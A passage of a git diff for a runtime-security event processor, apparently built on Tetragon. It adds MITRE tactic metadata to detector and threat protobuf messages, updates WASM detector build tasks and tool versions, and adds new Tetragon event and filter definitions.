diff --git a/.task/checksum/event-processor-proto b/.task/checksum/event-processor-proto index 314153af..d4342577 100644 --- a/.task/checksum/event-processor-proto +++ b/.task/checksum/event-processor-proto @@ -1 +1 @@ -5712d57f2055813c464a6a0ada047faa +f38734f61d520a59249dd4fcf2dd6e10 diff --git a/.task/checksum/event-processor-protoc-plugins b/.task/checksum/event-processor-protoc-plugins index e85cfd69..c950c84c 100644 --- a/.task/checksum/event-processor-protoc-plugins +++ b/.task/checksum/event-processor-protoc-plugins @@ -1 +1 @@ -19de25f1037631ee8f5c165df62cd82d +99aa06d3014798d86001c324468d497f diff --git a/auth-center/pkg/tools/tools.go b/auth-center/pkg/tools/tools.go index 290f93da..18b2467f 100644 --- a/auth-center/pkg/tools/tools.go +++ b/auth-center/pkg/tools/tools.go @@ -10,7 +10,7 @@ import ( _ "github.com/google/gops" _ "github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-grpc-gateway" _ "github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-openapiv2" - _ "github.com/knqyf263/go-plugin/cmd/protoc-gen-go-plugin" + _ "github.com/runtime-radar/go-plugin/cmd/protoc-gen-go-plugin" _ "golang.org/x/vuln/cmd/govulncheck" _ "google.golang.org/grpc/cmd/protoc-gen-go-grpc" _ "google.golang.org/protobuf/cmd/protoc-gen-go" diff --git a/docker-compose.yml b/docker-compose.yml index 5f3484d6..117c1ced 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -52,7 +52,7 @@ services: - local tetragon: - image: quay.io/cilium/tetragon:v1.5.0 + image: quay.io/cilium/tetragon:v1.7.0 ports: - "54321:54321" container_name: tetragon diff --git a/event-processor/Taskfile.yml b/event-processor/Taskfile.yml index 1f7ddb0a..0e06957f 100644 --- a/event-processor/Taskfile.yml +++ b/event-processor/Taskfile.yml @@ -65,6 +65,7 @@ tasks: proto-detector: deps: [protoc-plugins] + dir: detector cmds: - | PATH="{{.TOOLS_BIN}}{{if eq OS "windows"}};{{else}}:{{end}}$PATH" @@ -72,12 +73,13 @@ tasks: --go-plugin_out=api \ --go-plugin_opt=paths=source_relative \ \ - --go-plugin_opt=Mtetragon/bpf.proto="{{.MODULE_NAME}}/api/tetragon" \ - --go-plugin_opt=Mtetragon/capabilities.proto="{{.MODULE_NAME}}/api/tetragon" \ - --go-plugin_opt=Mtetragon/events.proto="{{.MODULE_NAME}}/api/tetragon" \ - --go-plugin_opt=Mtetragon/sensors.proto="{{.MODULE_NAME}}/api/tetragon" \ - --go-plugin_opt=Mtetragon/stack.proto="{{.MODULE_NAME}}/api/tetragon" \ - --go-plugin_opt=Mtetragon/tetragon.proto="{{.MODULE_NAME}}/api/tetragon" \ + --go-plugin_opt=Mtetragon/bpf.proto="{{.MODULE_NAME}}/detector/api/tetragon" \ + --go-plugin_opt=Mtetragon/capabilities.proto="{{.MODULE_NAME}}/detector/api/tetragon" \ + --go-plugin_opt=Mtetragon/eventlogservice.proto="{{.MODULE_NAME}}/detector/api/tetragon" \ + --go-plugin_opt=Mtetragon/events.proto="{{.MODULE_NAME}}/detector/api/tetragon" \ + --go-plugin_opt=Mtetragon/sensors.proto="{{.MODULE_NAME}}/detector/api/tetragon" \ + --go-plugin_opt=Mtetragon/stack.proto="{{.MODULE_NAME}}/detector/api/tetragon" \ + --go-plugin_opt=Mtetragon/tetragon.proto="{{.MODULE_NAME}}/detector/api/tetragon" \ \ api/*.proto api/tetragon/*.proto sources: @@ -91,19 +93,16 @@ tasks: vars: TINYGO_CURRENT_VERSION: sh: "tinygo version | cut -d' ' -f3" - TINYGO_REQUIRED_VERSION: "0.39.0" + TINYGO_REQUIRED_VERSION: "0.41.1" DETECTOR_DIR: detector/wasm + DETECTORS: + sh: find {{.DETECTOR_DIR}} -mindepth 1 -maxdepth 1 -type d -not -name '.*' DEPLOY_DIR: deploy + preconditions: + - {sh: 'test "{{.TINYGO_CURRENT_VERSION}}" = "{{.TINYGO_REQUIRED_VERSION}}"', msg: "Current tinygo version: {{.TINYGO_CURRENT_VERSION}}, required: {{.TINYGO_REQUIRED_VERSION}}"} cmds: - - | - {{if ne .TINYGO_CURRENT_VERSION .TINYGO_REQUIRED_VERSION}} - echo "Current tinygo version: {{.TINYGO_CURRENT_VERSION}}, required: {{.TINYGO_REQUIRED_VERSION}}" && exit 1 - {{end}} - - | - detectors=`ls {{.DETECTOR_DIR}}` - for detector in $detectors; do - tinygo build -o {{.DEPLOY_DIR}}/${detector}.wasm -scheduler=none -target=wasip1 -buildmode=wasi-legacy --no-debug ./{{.DETECTOR_DIR}}/${detector} - done + - for: {var: DETECTORS} + cmd: tinygo build -o {{.DEPLOY_DIR}}/{{base .ITEM}}.wasm -scheduler=none -target=wasip1 -buildmode=c-shared --no-debug ./{{.ITEM}} sources: - "go.mod" - "{{.DETECTOR_DIR}}/**/*.go" @@ -240,7 +239,7 @@ tasks: - GOBIN={{.TOOLS_BIN}} go install github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-openapiv2 - GOBIN={{.TOOLS_BIN}} go install google.golang.org/protobuf/cmd/protoc-gen-go - GOBIN={{.TOOLS_BIN}} go install google.golang.org/grpc/cmd/protoc-gen-go-grpc - - GOBIN={{.TOOLS_BIN}} go install github.com/knqyf263/go-plugin/cmd/protoc-gen-go-plugin + - GOBIN={{.TOOLS_BIN}} go install github.com/runtime-radar/go-plugin/cmd/protoc-gen-go-plugin deploy: sources: diff --git a/event-processor/api/config.pb.go b/event-processor/api/config.pb.go index 97ac0f54..6e6de307 100644 --- a/event-processor/api/config.pb.go +++ b/event-processor/api/config.pb.go @@ -1,6 +1,6 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.36.11 +// protoc-gen-go v1.36.11-devel // protoc v7.34.1 // source: config.proto diff --git a/event-processor/api/detector.pb.go b/event-processor/api/detector.pb.go index fb869565..53eb08cb 100644 --- a/event-processor/api/detector.pb.go +++ b/event-processor/api/detector.pb.go @@ -1,6 +1,6 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.36.11 +// protoc-gen-go v1.36.11-devel // protoc v7.34.1 // source: detector.proto @@ -69,22 +69,77 @@ func (x *CreateDetectorReq) GetWasmBase64() string { return "" } -type Detector struct { +// MitreTactic represents a tactic from Mitre matrix that are covered by a detector. +// Since it's possible for detector to cover only specific techniques, their ids are listed explicitly. +type MitreTactic struct { state protoimpl.MessageState `protogen:"open.v1"` Id string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"` - Name string `protobuf:"bytes,2,opt,name=name,proto3" json:"name,omitempty"` - Description string `protobuf:"bytes,3,opt,name=description,proto3" json:"description,omitempty"` - Version uint32 `protobuf:"varint,4,opt,name=version,proto3" json:"version,omitempty"` - Author string `protobuf:"bytes,5,opt,name=author,proto3" json:"author,omitempty"` - Contact string `protobuf:"bytes,6,opt,name=contact,proto3" json:"contact,omitempty"` - License string `protobuf:"bytes,7,opt,name=license,proto3" json:"license,omitempty"` + Techniques []string `protobuf:"bytes,2,rep,name=techniques,proto3" json:"techniques,omitempty"` // list of techniques' ids unknownFields protoimpl.UnknownFields sizeCache protoimpl.SizeCache } +func (x *MitreTactic) Reset() { + *x = MitreTactic{} + mi := &file_detector_proto_msgTypes[1] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) +} + +func (x *MitreTactic) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*MitreTactic) ProtoMessage() {} + +func (x *MitreTactic) ProtoReflect() protoreflect.Message { + mi := &file_detector_proto_msgTypes[1] + if x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use MitreTactic.ProtoReflect.Descriptor instead. +func (*MitreTactic) Descriptor() ([]byte, []int) { + return file_detector_proto_rawDescGZIP(), []int{1} +} + +func (x *MitreTactic) GetId() string { + if x != nil { + return x.Id + } + return "" +} + +func (x *MitreTactic) GetTechniques() []string { + if x != nil { + return x.Techniques + } + return nil +} + +type Detector struct { + state protoimpl.MessageState `protogen:"open.v1"` + Id string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"` + Name string `protobuf:"bytes,2,opt,name=name,proto3" json:"name,omitempty"` + Description string `protobuf:"bytes,3,opt,name=description,proto3" json:"description,omitempty"` + Version uint32 `protobuf:"varint,4,opt,name=version,proto3" json:"version,omitempty"` + Author string `protobuf:"bytes,5,opt,name=author,proto3" json:"author,omitempty"` + Contact string `protobuf:"bytes,6,opt,name=contact,proto3" json:"contact,omitempty"` + License string `protobuf:"bytes,7,opt,name=license,proto3" json:"license,omitempty"` + TacticsCovered []*MitreTactic `protobuf:"bytes,8,rep,name=tactics_covered,json=tacticsCovered,proto3" json:"tactics_covered,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache +} + func (x *Detector) Reset() { *x = Detector{} - mi := &file_detector_proto_msgTypes[1] + mi := &file_detector_proto_msgTypes[2] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -96,7 +151,7 @@ func (x *Detector) String() string { func (*Detector) ProtoMessage() {} func (x *Detector) ProtoReflect() protoreflect.Message { - mi := &file_detector_proto_msgTypes[1] + mi := &file_detector_proto_msgTypes[2] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -109,7 +164,7 @@ func (x *Detector) ProtoReflect() protoreflect.Message { // Deprecated: Use Detector.ProtoReflect.Descriptor instead. func (*Detector) Descriptor() ([]byte, []int) { - return file_detector_proto_rawDescGZIP(), []int{1} + return file_detector_proto_rawDescGZIP(), []int{2} } func (x *Detector) GetId() string { @@ -161,6 +216,13 @@ func (x *Detector) GetLicense() string { return "" } +func (x *Detector) GetTacticsCovered() []*MitreTactic { + if x != nil { + return x.TacticsCovered + } + return nil +} + type CreateDetectorResp struct { state protoimpl.MessageState `protogen:"open.v1"` Detector *Detector `protobuf:"bytes,1,opt,name=detector,proto3" json:"detector,omitempty"` @@ -170,7 +232,7 @@ type CreateDetectorResp struct { func (x *CreateDetectorResp) Reset() { *x = CreateDetectorResp{} - mi := &file_detector_proto_msgTypes[2] + mi := &file_detector_proto_msgTypes[3] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -182,7 +244,7 @@ func (x *CreateDetectorResp) String() string { func (*CreateDetectorResp) ProtoMessage() {} func (x *CreateDetectorResp) ProtoReflect() protoreflect.Message { - mi := &file_detector_proto_msgTypes[2] + mi := &file_detector_proto_msgTypes[3] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -195,7 +257,7 @@ func (x *CreateDetectorResp) ProtoReflect() protoreflect.Message { // Deprecated: Use CreateDetectorResp.ProtoReflect.Descriptor instead. func (*CreateDetectorResp) Descriptor() ([]byte, []int) { - return file_detector_proto_rawDescGZIP(), []int{2} + return file_detector_proto_rawDescGZIP(), []int{3} } func (x *CreateDetectorResp) GetDetector() *Detector { @@ -215,7 +277,7 @@ type DeleteDetectorReq struct { func (x *DeleteDetectorReq) Reset() { *x = DeleteDetectorReq{} - mi := &file_detector_proto_msgTypes[3] + mi := &file_detector_proto_msgTypes[4] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -227,7 +289,7 @@ func (x *DeleteDetectorReq) String() string { func (*DeleteDetectorReq) ProtoMessage() {} func (x *DeleteDetectorReq) ProtoReflect() protoreflect.Message { - mi := &file_detector_proto_msgTypes[3] + mi := &file_detector_proto_msgTypes[4] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -240,7 +302,7 @@ func (x *DeleteDetectorReq) ProtoReflect() protoreflect.Message { // Deprecated: Use DeleteDetectorReq.ProtoReflect.Descriptor instead. func (*DeleteDetectorReq) Descriptor() ([]byte, []int) { - return file_detector_proto_rawDescGZIP(), []int{3} + return file_detector_proto_rawDescGZIP(), []int{4} } func (x *DeleteDetectorReq) GetId() string { @@ -268,7 +330,7 @@ type ListDetectorPageReq struct { func (x *ListDetectorPageReq) Reset() { *x = ListDetectorPageReq{} - mi := &file_detector_proto_msgTypes[4] + mi := &file_detector_proto_msgTypes[5] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -280,7 +342,7 @@ func (x *ListDetectorPageReq) String() string { func (*ListDetectorPageReq) ProtoMessage() {} func (x *ListDetectorPageReq) ProtoReflect() protoreflect.Message { - mi := &file_detector_proto_msgTypes[4] + mi := &file_detector_proto_msgTypes[5] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -293,7 +355,7 @@ func (x *ListDetectorPageReq) ProtoReflect() protoreflect.Message { // Deprecated: Use ListDetectorPageReq.ProtoReflect.Descriptor instead. func (*ListDetectorPageReq) Descriptor() ([]byte, []int) { - return file_detector_proto_rawDescGZIP(), []int{4} + return file_detector_proto_rawDescGZIP(), []int{5} } func (x *ListDetectorPageReq) GetPageNum() uint32 { @@ -327,7 +389,7 @@ type ListDetectorPageResp struct { func (x *ListDetectorPageResp) Reset() { *x = ListDetectorPageResp{} - mi := &file_detector_proto_msgTypes[5] + mi := &file_detector_proto_msgTypes[6] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -339,7 +401,7 @@ func (x *ListDetectorPageResp) String() string { func (*ListDetectorPageResp) ProtoMessage() {} func (x *ListDetectorPageResp) ProtoReflect() protoreflect.Message { - mi := &file_detector_proto_msgTypes[5] + mi := &file_detector_proto_msgTypes[6] if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -352,7 +414,7 @@ func (x *ListDetectorPageResp) ProtoReflect() protoreflect.Message { // Deprecated: Use ListDetectorPageResp.ProtoReflect.Descriptor instead. func (*ListDetectorPageResp) Descriptor() ([]byte, []int) { - return file_detector_proto_rawDescGZIP(), []int{5} + return file_detector_proto_rawDescGZIP(), []int{6} } func (x *ListDetectorPageResp) GetDetectors() []*Detector { @@ -376,7 +438,12 @@ const file_detector_proto_rawDesc = "" + "\x0edetector.proto\x12\bdetector\x1a\x1cgoogle/api/annotations.proto\x1a\x1bgoogle/protobuf/empty.proto\x1a.protoc-gen-openapiv2/options/annotations.proto\"4\n" + "\x11CreateDetectorReq\x12\x1f\n" + "\vwasm_base64\x18\x01 \x01(\tR\n" + - "wasmBase64\"\xb6\x01\n" + + "wasmBase64\"=\n" + + "\vMitreTactic\x12\x0e\n" + + "\x02id\x18\x01 \x01(\tR\x02id\x12\x1e\n" + + "\n" + + "techniques\x18\x02 \x03(\tR\n" + + "techniques\"\xf6\x01\n" + "\bDetector\x12\x0e\n" + "\x02id\x18\x01 \x01(\tR\x02id\x12\x12\n" + "\x04name\x18\x02 \x01(\tR\x04name\x12 \n" + @@ -384,7 +451,8 @@ const file_detector_proto_rawDesc = "" + "\aversion\x18\x04 \x01(\rR\aversion\x12\x16\n" + "\x06author\x18\x05 \x01(\tR\x06author\x12\x18\n" + "\acontact\x18\x06 \x01(\tR\acontact\x12\x18\n" + - "\alicense\x18\a \x01(\tR\alicense\"D\n" + + "\alicense\x18\a \x01(\tR\alicense\x12>\n" + + "\x0ftactics_covered\x18\b \x03(\v2\x15.detector.MitreTacticR\x0etacticsCovered\"D\n" + "\x12CreateDetectorResp\x12.\n" + "\bdetector\x18\x01 \x01(\v2\x12.detector.DetectorR\bdetector\"=\n" + "\x11DeleteDetectorReq\x12\x0e\n" + @@ -415,30 +483,32 @@ func file_detector_proto_rawDescGZIP() []byte { return file_detector_proto_rawDescData } -var file_detector_proto_msgTypes = make([]protoimpl.MessageInfo, 6) +var file_detector_proto_msgTypes = make([]protoimpl.MessageInfo, 7) var file_detector_proto_goTypes = []any{ (*CreateDetectorReq)(nil), // 0: detector.CreateDetectorReq - (*Detector)(nil), // 1: detector.Detector - (*CreateDetectorResp)(nil), // 2: detector.CreateDetectorResp - (*DeleteDetectorReq)(nil), // 3: detector.DeleteDetectorReq - (*ListDetectorPageReq)(nil), // 4: detector.ListDetectorPageReq - (*ListDetectorPageResp)(nil), // 5: detector.ListDetectorPageResp - (*emptypb.Empty)(nil), // 6: google.protobuf.Empty + (*MitreTactic)(nil), // 1: detector.MitreTactic + (*Detector)(nil), // 2: detector.Detector + (*CreateDetectorResp)(nil), // 3: detector.CreateDetectorResp + (*DeleteDetectorReq)(nil), // 4: detector.DeleteDetectorReq + (*ListDetectorPageReq)(nil), // 5: detector.ListDetectorPageReq + (*ListDetectorPageResp)(nil), // 6: detector.ListDetectorPageResp + (*emptypb.Empty)(nil), // 7: google.protobuf.Empty } var file_detector_proto_depIdxs = []int32{ - 1, // 0: detector.CreateDetectorResp.detector:type_name -> detector.Detector - 1, // 1: detector.ListDetectorPageResp.detectors:type_name -> detector.Detector - 0, // 2: detector.DetectorController.Create:input_type -> detector.CreateDetectorReq - 3, // 3: detector.DetectorController.Delete:input_type -> detector.DeleteDetectorReq - 4, // 4: detector.DetectorController.ListPage:input_type -> detector.ListDetectorPageReq - 2, // 5: detector.DetectorController.Create:output_type -> detector.CreateDetectorResp - 6, // 6: detector.DetectorController.Delete:output_type -> google.protobuf.Empty - 5, // 7: detector.DetectorController.ListPage:output_type -> detector.ListDetectorPageResp - 5, // [5:8] is the sub-list for method output_type - 2, // [2:5] is the sub-list for method input_type - 2, // [2:2] is the sub-list for extension type_name - 2, // [2:2] is the sub-list for extension extendee - 0, // [0:2] is the sub-list for field type_name + 1, // 0: detector.Detector.tactics_covered:type_name -> detector.MitreTactic + 2, // 1: detector.CreateDetectorResp.detector:type_name -> detector.Detector + 2, // 2: detector.ListDetectorPageResp.detectors:type_name -> detector.Detector + 0, // 3: detector.DetectorController.Create:input_type -> detector.CreateDetectorReq + 4, // 4: detector.DetectorController.Delete:input_type -> detector.DeleteDetectorReq + 5, // 5: detector.DetectorController.ListPage:input_type -> detector.ListDetectorPageReq + 3, // 6: detector.DetectorController.Create:output_type -> detector.CreateDetectorResp + 7, // 7: detector.DetectorController.Delete:output_type -> google.protobuf.Empty + 6, // 8: detector.DetectorController.ListPage:output_type -> detector.ListDetectorPageResp + 6, // [6:9] is the sub-list for method output_type + 3, // [3:6] is the sub-list for method input_type + 3, // [3:3] is the sub-list for extension type_name + 3, // [3:3] is the sub-list for extension extendee + 0, // [0:3] is the sub-list for field type_name } func init() { file_detector_proto_init() } @@ -452,7 +522,7 @@ func file_detector_proto_init() { GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: unsafe.Slice(unsafe.StringData(file_detector_proto_rawDesc), len(file_detector_proto_rawDesc)), NumEnums: 0, - NumMessages: 6, + NumMessages: 7, NumExtensions: 0, NumServices: 1, }, diff --git a/event-processor/api/detector.proto b/event-processor/api/detector.proto index e0c8a771..b0a2b067 100644 --- a/event-processor/api/detector.proto +++ b/event-processor/api/detector.proto @@ -38,6 +38,13 @@ message CreateDetectorReq { string wasm_base64 = 1; } +// MitreTactic represents a tactic from Mitre matrix that are covered by a detector. +// Since it's possible for detector to cover only specific techniques, their ids are listed explicitly. +message MitreTactic { + string id = 1; + repeated string techniques = 2; // list of techniques' ids +} + message Detector { string id = 1; string name = 2; @@ -46,6 +53,7 @@ message Detector { string author = 5; string contact = 6; string license = 7; + repeated MitreTactic tactics_covered = 8; } message CreateDetectorResp { diff --git a/event-processor/api/openapiv2/detector.swagger.json b/event-processor/api/openapiv2/detector.swagger.json index bdee9404..21384af3 100644 --- a/event-processor/api/openapiv2/detector.swagger.json +++ b/event-processor/api/openapiv2/detector.swagger.json @@ -171,6 +171,13 @@ }, "license": { "type": "string" + }, + "tacticsCovered": { + "type": "array", + "items": { + "type": "object", + "$ref": "#/definitions/detectorMitreTactic" + } } } }, @@ -190,6 +197,22 @@ } } }, + "detectorMitreTactic": { + "type": "object", + "properties": { + "id": { + "type": "string" + }, + "techniques": { + "type": "array", + "items": { + "type": "string" + }, + "title": "list of techniques' ids" + } + }, + "description": "MitreTactic represents a tactic from Mitre matrix that are covered by a detector.\nSince it's possible for detector to cover only specific techniques, their ids are listed explicitly." + }, "protobufAny": { "type": "object", "properties": { diff --git a/event-processor/api/runtime_event.pb.go b/event-processor/api/runtime_event.pb.go index e1451e99..b8153bd4 100644 --- a/event-processor/api/runtime_event.pb.go +++ b/event-processor/api/runtime_event.pb.go @@ -1,6 +1,6 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.36.11 +// protoc-gen-go v1.36.11-devel // protoc v7.34.1 // source: runtime_event.proto @@ -37,6 +37,7 @@ type RuntimeEvent struct { IncidentSeverity string `protobuf:"bytes,7,opt,name=incident_severity,json=incidentSeverity,proto3" json:"incident_severity,omitempty"` BlockBy []string `protobuf:"bytes,8,rep,name=block_by,json=blockBy,proto3" json:"block_by,omitempty"` NotifyBy []string `protobuf:"bytes,9,rep,name=notify_by,json=notifyBy,proto3" json:"notify_by,omitempty"` + EventUrl string `protobuf:"bytes,10,opt,name=event_url,json=eventUrl,proto3" json:"event_url,omitempty"` unknownFields protoimpl.UnknownFields sizeCache protoimpl.SizeCache } @@ -134,12 +135,24 @@ func (x *RuntimeEvent) GetNotifyBy() []string { return nil } +func (x *RuntimeEvent) GetEventUrl() string { + if x != nil { + return x.EventUrl + } + return "" +} + type Threat struct { - state protoimpl.MessageState `protogen:"open.v1"` - Detector *Detector `protobuf:"bytes,1,opt,name=detector,proto3" json:"detector,omitempty"` - Severity string `protobuf:"bytes,2,opt,name=severity,proto3" json:"severity,omitempty"` - unknownFields protoimpl.UnknownFields - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` + Detector *Detector `protobuf:"bytes,1,opt,name=detector,proto3" json:"detector,omitempty"` + Severity string `protobuf:"bytes,2,opt,name=severity,proto3" json:"severity,omitempty"` + // reason is an optional human-readable message that describes what exactly was detected. + Reason string `protobuf:"bytes,3,opt,name=reason,proto3" json:"reason,omitempty"` + // tactics_covered is an optional list of Mitre tactics that are covered via detect. + // It's supposed to be a subset of tactics covered by the detector. + TacticsCovered []*MitreTactic `protobuf:"bytes,4,rep,name=tactics_covered,json=tacticsCovered,proto3" json:"tactics_covered,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache } func (x *Threat) Reset() { @@ -186,6 +199,20 @@ func (x *Threat) GetSeverity() string { return "" } +func (x *Threat) GetReason() string { + if x != nil { + return x.Reason + } + return "" +} + +func (x *Threat) GetTacticsCovered() []*MitreTactic { + if x != nil { + return x.TacticsCovered + } + return nil +} + type DetectError struct { state protoimpl.MessageState `protogen:"open.v1"` Detector *Detector `protobuf:"bytes,1,opt,name=detector,proto3" json:"detector,omitempty"` @@ -242,7 +269,7 @@ var File_runtime_event_proto protoreflect.FileDescriptor const file_runtime_event_proto_rawDesc = "" + "\n" + - "\x13runtime_event.proto\x12\rruntime_event\x1a\x15tetragon/events.proto\x1a\x0edetector.proto\"\xf4\x02\n" + + "\x13runtime_event.proto\x12\rruntime_event\x1a\x15tetragon/events.proto\x1a\x0edetector.proto\"\x91\x03\n" + "\fRuntimeEvent\x12\x0e\n" + "\x02id\x18\x01 \x01(\tR\x02id\x12)\n" + "\x10tetragon_version\x18\x02 \x01(\tR\x0ftetragonVersion\x121\n" + @@ -253,10 +280,14 @@ const file_runtime_event_proto_rawDesc = "" + "isIncident\x12+\n" + "\x11incident_severity\x18\a \x01(\tR\x10incidentSeverity\x12\x19\n" + "\bblock_by\x18\b \x03(\tR\ablockBy\x12\x1b\n" + - "\tnotify_by\x18\t \x03(\tR\bnotifyBy\"T\n" + + "\tnotify_by\x18\t \x03(\tR\bnotifyBy\x12\x1b\n" + + "\tevent_url\x18\n" + + " \x01(\tR\beventUrl\"\xac\x01\n" + "\x06Threat\x12.\n" + "\bdetector\x18\x01 \x01(\v2\x12.detector.DetectorR\bdetector\x12\x1a\n" + - "\bseverity\x18\x02 \x01(\tR\bseverity\"S\n" + + "\bseverity\x18\x02 \x01(\tR\bseverity\x12\x16\n" + + "\x06reason\x18\x03 \x01(\tR\x06reason\x12>\n" + + "\x0ftactics_covered\x18\x04 \x03(\v2\x15.detector.MitreTacticR\x0etacticsCovered\"S\n" + "\vDetectError\x12.\n" + "\bdetector\x18\x01 \x01(\v2\x12.detector.DetectorR\bdetector\x12\x14\n" + "\x05error\x18\x02 \x01(\tR\x05errorB\aZ\x05./apib\x06proto3" @@ -280,18 +311,20 @@ var file_runtime_event_proto_goTypes = []any{ (*DetectError)(nil), // 2: runtime_event.DetectError (*tetragon.GetEventsResponse)(nil), // 3: tetragon.GetEventsResponse (*Detector)(nil), // 4: detector.Detector + (*MitreTactic)(nil), // 5: detector.MitreTactic } var file_runtime_event_proto_depIdxs = []int32{ 3, // 0: runtime_event.RuntimeEvent.event:type_name -> tetragon.GetEventsResponse 1, // 1: runtime_event.RuntimeEvent.threats:type_name -> runtime_event.Threat 2, // 2: runtime_event.RuntimeEvent.detect_errors:type_name -> runtime_event.DetectError 4, // 3: runtime_event.Threat.detector:type_name -> detector.Detector - 4, // 4: runtime_event.DetectError.detector:type_name -> detector.Detector - 5, // [5:5] is the sub-list for method output_type - 5, // [5:5] is the sub-list for method input_type - 5, // [5:5] is the sub-list for extension type_name - 5, // [5:5] is the sub-list for extension extendee - 0, // [0:5] is the sub-list for field type_name + 5, // 4: runtime_event.Threat.tactics_covered:type_name -> detector.MitreTactic + 4, // 5: runtime_event.DetectError.detector:type_name -> detector.Detector + 6, // [6:6] is the sub-list for method output_type + 6, // [6:6] is the sub-list for method input_type + 6, // [6:6] is the sub-list for extension type_name + 6, // [6:6] is the sub-list for extension extendee + 0, // [0:6] is the sub-list for field type_name } func init() { file_runtime_event_proto_init() } diff --git a/event-processor/api/runtime_event.proto b/event-processor/api/runtime_event.proto index 69cd4f37..42c0a701 100644 --- a/event-processor/api/runtime_event.proto +++ b/event-processor/api/runtime_event.proto @@ -22,11 +22,17 @@ message RuntimeEvent { string incident_severity = 7; repeated string block_by = 8; repeated string notify_by = 9; + string event_url = 10; } message Threat { detector.Detector detector = 1; string severity = 2; + // reason is an optional human-readable message that describes what exactly was detected. + string reason = 3; + // tactics_covered is an optional list of Mitre tactics that are covered via detect. + // It's supposed to be a subset of tactics covered by the detector. + repeated detector.MitreTactic tactics_covered = 4; } message DetectError { diff --git a/event-processor/api/tetragon/eventlogservice.proto b/event-processor/api/tetragon/eventlogservice.proto new file mode 100644 index 00000000..12b631ca --- /dev/null +++ b/event-processor/api/tetragon/eventlogservice.proto @@ -0,0 +1,29 @@ +// SPDX-License-Identifier: Apache-2.0 +// Copyright Authors of Hubble + +syntax = "proto3"; + +package tetragon; + +option go_package = "github.com/cilium/tetragon/api/v1/tetragon"; + +service EventLogService { + rpc SetEventLogParams(SetEventLogParamsRequest) returns (SetEventLogParamsResponse) {} + rpc GetEventLogParams(GetEventLogParamsRequest) returns (GetEventLogParamsResponse) {} +} + +message SetEventLogParamsRequest { + optional int32 max_size = 1; + optional string rotation_interval = 2; + optional int32 max_backups = 3; +} + +message SetEventLogParamsResponse {} + +message GetEventLogParamsRequest {} + +message GetEventLogParamsResponse { + int32 max_size = 1; + string rotation_interval = 2; + int32 max_backups = 3; +} diff --git a/event-processor/api/tetragon/events.proto b/event-processor/api/tetragon/events.proto index 7d484b36..af17e6ce 100644 --- a/event-processor/api/tetragon/events.proto +++ b/event-processor/api/tetragon/events.proto @@ -30,6 +30,7 @@ enum EventType { PROCESS_UPROBE = 12; PROCESS_THROTTLE = 27; PROCESS_LSM = 28; + PROCESS_USDT = 29; TEST = 40000; RATE_LIMIT_INFO = 40001; @@ -79,6 +80,12 @@ message Filter { google.protobuf.BoolValue in_init_tree = 16; // Filter ancestor processes' binaries using RE2 regular expression syntax. repeated string ancestor_binary_regex = 17; + // Filter by the container name in the process.pod.container field using RE2 regular expression syntax: + // https://github.com/google/re2/wiki/Syntax + repeated string container_name_regex = 18; + // Filter by the namespace in the process.pod.namespace field using RE2 regular expression syntax: + // https://github.com/google/re2/wiki/Syntax + repeated string namespace_regex = 19; } // Filter over a set of Linux process capabilities. See `message Capabilities` @@ -208,6 +215,7 @@ message GetEventsResponse { ProcessUprobe process_uprobe = 12; ProcessThrottle process_throttle = 27; ProcessLsm process_lsm = 28; + ProcessUsdt process_usdt = 29; Test test = 40000; RateLimitInfo rate_limit_info = 40001; diff --git a/event-processor/api/tetragon/sensors.proto b/event-processor/api/tetragon/sensors.proto index ce99ce30..de442955 100644 --- a/event-processor/api/tetragon/sensors.proto +++ b/event-processor/api/tetragon/sensors.proto @@ -5,9 +5,9 @@ syntax = "proto3"; package tetragon; +import "google/protobuf/any.proto"; import "google/protobuf/wrappers.proto"; import "tetragon/events.proto"; -import "tetragon/stack.proto"; import "tetragon/tetragon.proto"; option go_package = "github.com/cilium/tetragon/api/v1/tetragon"; @@ -53,6 +53,32 @@ enum TracingPolicyMode { TP_MODE_UNKNOWN = 0; TP_MODE_ENFORCE = 1; TP_MODE_MONITOR = 2; + TP_MODE_MONITOR_ONLY = 3; +} + +message TracingPolicyActionCounters { + // number of post events generated from the policy + uint64 post = 1; + // number of signals sent from the policy + uint64 signal = 2; + // number of signals that were not sent because the policy was in monitor mode + uint64 monitor_signal = 3; + // number of return overrides + uint64 override = 4; + // number of return overrides that did not occur 